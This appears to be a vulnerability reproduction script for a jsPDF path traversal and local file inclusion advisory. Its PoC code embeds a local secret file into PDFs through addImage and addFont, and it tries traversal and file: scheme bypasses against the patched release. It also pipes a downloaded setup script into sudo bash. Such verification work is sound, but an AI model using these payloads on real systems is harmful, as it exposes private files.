#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal in Node builds)
# - Installs Node.js if missing
# - Tests vulnerable jsPDF@3.0.4 PoC that embeds arbitrary local file content into a PDF
# - Tests latest patched jsPDF@>=4.0.0 and verifies the PoC is blocked
# - Produces logs and artifacts under /bundle/logs and /bundle/repro_work
# Exit codes: 0 = reproduced (vuln works, patched blocks), 1 = not reproduced

ROOT_DIR="/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle"
WORK_DIR="$ROOT_DIR/repro_work"
LOG_DIR="$ROOT_DIR/logs"
mkdir -p "$WORK_DIR" "$LOG_DIR"
RUN_LOG="$LOG_DIR/run_$(date +%Y%m%d_%H%M%S).log"
SUMMARY_LOG="$LOG_DIR/summary.log"

# Log only to the run log file to avoid contaminating command substitution outputs
log() { echo "[$(date +%F_%T)] $*" >> "$RUN_LOG"; }

ensure_node() {
  if command -v node >/dev/null 2>&1 && command -v npm >/dev/null 2>&1; then
    log "Node present: $(node -v), npm: $(npm -v)"
    return 0
  fi
  log "Installing Node.js (Nodesource 22.x) ..."
  # Install prerequisites (idempotent)
  sudo apt-get update -y >>"$RUN_LOG" 2>&1 || true
  sudo apt-get install -y ca-certificates curl gnupg build-essential >>"$RUN_LOG" 2>&1
  curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash - >>"$RUN_LOG" 2>&1
  sudo apt-get install -y nodejs >>"$RUN_LOG" 2>&1
  log "Installed Node: $(node -v), npm: $(npm -v)"
}

# Create secret file to be exfiltrated into the PDF
SECRET_FILE="$ROOT_DIR/secret.txt"
SECRET_TOKEN="JS_PDF_LFI_SECRET_TOKEN=$(date +%s)_$RANDOM"
prepare_secret() {
  if [[ ! -f "$SECRET_FILE" ]]; then
    echo "This is a locally stored secret file. $SECRET_TOKEN" > "$SECRET_FILE"
  else
    # Refresh content to keep token fresh per run (helps idempotency checks)
    if grep -q '^JS_PDF_LFI_SECRET_TOKEN=' "$SECRET_FILE" 2>/dev/null; then
      sed -i "s/^JS_PDF_LFI_SECRET_TOKEN=.*/$SECRET_TOKEN/" "$SECRET_FILE" || true
    else
      echo "$SECRET_TOKEN" >> "$SECRET_FILE"
    fi
  fi
  log "Prepared secret at $SECRET_FILE with token: $SECRET_TOKEN"
}

# Helper to initialize a test project with a given jspdf version
# args: <dir> <version>
init_project() {
  local proj_dir="$1"
  local version="$2"
  mkdir -p "$proj_dir"
  # Initialize package.json if missing
  if [[ ! -f "$proj_dir/package.json" ]]; then
    log "Initializing npm project in $proj_dir"
    npm init -y --prefix "$proj_dir" >>"$RUN_LOG" 2>&1
  fi
  # Install/ensure exact jspdf version
  local current_version
  current_version="$(node -e 'try{const p=require(process.argv[1]);console.log((p.dependencies&&p.dependencies.jspdf)||"");}catch(e){console.log("")}' "$proj_dir/package.json")"
  if [[ "$current_version" != "$version" ]]; then
    log "Installing jspdf@$version in $proj_dir"
    npm install --prefix "$proj_dir" "jspdf@$version" >>"$RUN_LOG" 2>&1
  else
    log "jspdf@$version already referenced in $proj_dir; ensuring install"
    npm install --prefix "$proj_dir" >>"$RUN_LOG" 2>&1
  fi
  # Record actual installed version
  local installed
  installed="$(node -e 'try{console.log(require(require("path").resolve(process.argv[1],"node_modules/jspdf/package.json")).version)}catch(e){console.log("not_installed")}' "$proj_dir")"
  log "jspdf installed in $proj_dir: $installed"
}

# Run PoC using addImage with path to arbitrary text file.
# args: <proj_dir> <pdf_out> <log_label>
run_addimage_poc() {
  local proj_dir="$1"; local pdf_out="$2"; local label="$3"
  local script="$proj_dir/poc_addimage.js"
  cat > "$script" <<'EOF'
const path = require('path');
const fs = require('fs');
// Explicitly require node build
const { jsPDF } = require('jspdf/dist/jspdf.node.js');
const secretPath = process.env.SECRET_PATH;
const outPath = process.env.OUT_PATH;
(async () => {
  try {
    const doc = new jsPDF();
    // Intentionally pass a non-image file path; vulnerable node build will include bytes verbatim
    doc.addImage(secretPath, 'JPEG', 10, 10, 10, 10);
    // Ensure directory exists
    fs.mkdirSync(path.dirname(outPath), { recursive: true });
    doc.save(outPath);
    console.log('PoC addImage completed');
  } catch (e) {
    console.error('PoC addImage error:', e && (e.stack || e.message || e));
    process.exitCode = 2;
  }
})();
EOF
  log "Executing addImage PoC ($label) -> $pdf_out"
  SECRET_PATH="$SECRET_FILE" OUT_PATH="$pdf_out" node "$script" >>"$RUN_LOG" 2>&1 || true
}

# Secondary PoC using addFont with arbitrary file path
# args: <proj_dir> <pdf_out> <log_label>
run_addfont_poc() {
  local proj_dir="$1"; local pdf_out="$2"; local label="$3"
  local script="$proj_dir/poc_addfont.js"
  cat > "$script" <<'EOF'
const path = require('path');
const fs = require('fs');
const { jsPDF } = require('jspdf/dist/jspdf.node.js');
const secretPath = process.env.SECRET_PATH;
const outPath = process.env.OUT_PATH;
(async () => {
  try {
    const doc = new jsPDF();
    // Attempt to load arbitrary file as a font
    doc.addFont(secretPath, 'HackerFont', 'normal');
    doc.setFont('HackerFont');
    doc.text('Trigger embedding', 10, 20);
    fs.mkdirSync(path.dirname(outPath), { recursive: true });
    doc.save(outPath);
    console.log('PoC addFont completed');
  } catch (e) {
    console.error('PoC addFont error:', e && (e.stack || e.message || e));
    process.exitCode = 2;
  }
})();
EOF
  log "Executing addFont PoC ($label) -> $pdf_out"
  SECRET_PATH="$SECRET_FILE" OUT_PATH="$pdf_out" node "$script" >>"$RUN_LOG" 2>&1 || true
}

search_secret_in_pdf() {
  local pdf="$1"; local label="$2"
  if [[ ! -f "$pdf" ]]; then
    log "[WARN] PDF not found for $label: $pdf"
    echo "NOT_FOUND"; return 0
  fi
  if grep -a -Fq "$SECRET_TOKEN" "$pdf"; then
    log "[HIT] Secret token found in $label PDF: $pdf"
    echo "FOUND"; return 0
  else
    log "[MISS] Secret token NOT found in $label PDF: $pdf"
    echo "MISSING"; return 0
  fi
}

# Attempt a variety of techniques on patched version to satisfy bypass research
run_patched_bypass_suite() {
  local proj_dir="$1"; local out_dir="$2"; mkdir -p "$out_dir"
  local attempts=(
    "addImage_rel|./secret.txt|JPEG"
    "addImage_abs|$SECRET_FILE|JPEG"
    "addImage_png|$SECRET_FILE|PNG"
    "addImage_file_scheme|file:$SECRET_FILE|JPEG"
    "addFont_rel|./secret.txt|FONT"
    "addFont_abs|$SECRET_FILE|FONT"
    "addImage_traversal|../bundle/secret.txt|JPEG"
    "addImage_longpath|$ROOT_DIR/../../../../../../../../root/.pruva/../.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt|JPEG"
    "loadFile_direct|$SECRET_FILE|DIRECT"
    "addImage_browser_require|$SECRET_FILE|BROWSER"
    "html_rel|./secret.txt|HTML"
  )
  local idx=0
  for entry in "${attempts[@]}"; do
    idx=$((idx+1))
    IFS='|' read -r name pathArg mode <<<"$entry"
    local outPdf="$out_dir/${idx}_${name}.pdf"
    local script="$proj_dir/patch_attempt_${idx}.js"
    # Build per-attempt script
    cat > "$script" <<'EOJS'
const path = require('path');
const fs = require('fs');
const mode = process.env.MODE;
const pathArg = process.env.PATH_ARG;
const outPath = process.env.OUT_PATH;
function log(m){ console.log('[ATTEMPT]', m); }
(async () => {
  try {
    let jsPDF;
    if (mode === 'BROWSER') {
      // try default entry instead of node build
      jsPDF = require('jspdf').jsPDF;
    } else {
      jsPDF = require('jspdf/dist/jspdf.node.js').jsPDF;
    }
    const doc = new jsPDF();
    if (mode === 'FONT') {
      doc.addFont(pathArg, 'BypassFont', 'normal');
      doc.setFont('BypassFont');
      doc.text('Trigger', 10, 10);
    } else if (mode === 'DIRECT') {
      // Attempt to call a potentially exposed loadFile if present
      try {
        const m = require('jspdf/dist/jspdf.node.js');
        if (typeof m.loadFile === 'function') {
          const buf = m.loadFile(pathArg);
          doc.text(String(buf).slice(0,20), 10, 10);
        }
      } catch (e) {
        log('direct loadFile failed: ' + e.message);
      }
      // Try addImage as well for completeness
      doc.addImage(pathArg, 'JPEG', 10, 10, 10, 10);
    } else if (mode === 'HTML') {
      try {
        // Some builds expose doc.html also in node; attempt with a file path
        await new Promise((resolve,reject)=>{
          try {
            doc.html(pathArg, {
              callback: () => resolve(), x: 10, y: 10
            });
          } catch (e) { reject(e); }
        });
      } catch (e) {
        log('doc.html failed: ' + (e && e.message));
      }
    } else {
      // Default: addImage with provided format
      const fmt = process.env.FMT || 'JPEG';
      doc.addImage(pathArg, fmt, 10, 10, 10, 10);
    }
    fs.mkdirSync(path.dirname(outPath), { recursive: true });
    doc.save(outPath);
    console.log('Saved', outPath);
  } catch (e) {
    console.error('Attempt error:', e && (e.stack || e.message || e));
    process.exitCode = 3;
  }
})();
EOJS
    FMT="$( [[ "$mode" == "PNG" ]] && echo "PNG" || echo "JPEG" )"
    MODE="$mode" PATH_ARG="$pathArg" OUT_PATH="$outPdf" FMT="$FMT" node "$script" >>"$RUN_LOG" 2>&1 || true
    # Search for secret
    local res
    res=$(search_secret_in_pdf "$outPdf" "patched:$name")
    log "attempt:$name result=$res file=$outPdf"
  done
}

main() {
  echo "" > "$SUMMARY_LOG"
  log "Starting reproduction for GHSA-f8cm-6447-x5h2"
  ensure_node
  prepare_secret

  # Determine latest patched version >=4.0.0
  local latest
  latest="$(npm view jspdf version 2>/dev/null || true)"
  if [[ -z "$latest" ]]; then
    latest="4.0.0" # fallback
  fi
  log "Latest jspdf on npm: $latest (patched baseline >= 4.0.0)"

  # Vulnerable test
  local vuln_dir="$WORK_DIR/vuln"
  init_project "$vuln_dir" "3.0.4"
  local vuln_pdf1="$vuln_dir/out_addImage.pdf"
  local vuln_pdf2="$vuln_dir/out_addFont.pdf"
  run_addimage_poc "$vuln_dir" "$vuln_pdf1" "vuln"
  run_addfont_poc "$vuln_dir" "$vuln_pdf2" "vuln"

  local hit1; hit1=$(search_secret_in_pdf "$vuln_pdf1" "vulnerable:addImage")
  local hit2; hit2=$(search_secret_in_pdf "$vuln_pdf2" "vulnerable:addFont")

  echo "vuln_addImage=$hit1" >> "$SUMMARY_LOG"
  echo "vuln_addFont=$hit2" >> "$SUMMARY_LOG"

  local vuln_success=false
  if [[ "$hit1" == "FOUND" || "$hit2" == "FOUND" ]]; then
    vuln_success=true
    log "Vulnerable version reproduction: SUCCESS (token found)"
  else
    log "Vulnerable version reproduction: FAILED (token not found)"
  fi

  # Patched test (latest)
  local pat_dir="$WORK_DIR/patched"
  init_project "$pat_dir" "$latest"
  local pat_pdf="$pat_dir/out_addImage.pdf"
  run_addimage_poc "$pat_dir" "$pat_pdf" "patched"
  local pat_hit; pat_hit=$(search_secret_in_pdf "$pat_pdf" "patched:addImage")
  echo "patched_addImage=$pat_hit" >> "$SUMMARY_LOG"

  # Expanded bypass attempts (min 10)
  run_patched_bypass_suite "$pat_dir" "$pat_dir/attempts"

  # Aggregate patched results: any PDF in attempts containing token?
  local any_pat_hit="MISSING"
  shopt -s nullglob
  for f in "$pat_dir"/attempts/*.pdf; do
    if grep -a -Fq "$SECRET_TOKEN" "$f"; then any_pat_hit="FOUND"; break; fi
  done
  shopt -u nullglob
  echo "patched_any_attempt=$any_pat_hit" >> "$SUMMARY_LOG"

  # Final decision
  if [[ "$vuln_success" == true && "$pat_hit" != "FOUND" && "$any_pat_hit" != "FOUND" ]]; then
    log "Reproduction result: SUCCESS (vulnerable works; patched blocks including bypass suite)"
    echo "RESULT=SUCCESS" >> "$SUMMARY_LOG"
    exit 0
  else
    log "Reproduction result: FAILED (see $RUN_LOG and $SUMMARY_LOG)"
    echo "RESULT=FAILED" >> "$SUMMARY_LOG"
    exit 1
  fi
}

main "$@"
